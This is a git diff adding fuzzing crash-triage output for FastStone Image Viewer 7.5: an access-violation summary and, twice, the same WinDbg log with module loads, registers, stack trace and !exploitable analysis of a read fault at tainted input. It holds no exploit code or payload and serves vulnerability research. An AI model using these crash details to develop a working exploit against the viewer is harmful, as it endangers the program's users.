b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..91725f3 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..edfa96a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(6e4.1ee0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f27b10 edx=00003879 esi=12738f10 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2915.76 4.08019e-033 6.08991e-012 -1.13164e+009 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036d000 dd1f1b78 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..edfa96a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(6e4.1ee0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f27b10 edx=00003879 esi=12738f10 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2915.76 4.08019e-033 6.08991e-012 -1.13164e+009 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036d000 dd1f1b78 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/action_1_Output_Unknown Action 1.txt new file mode 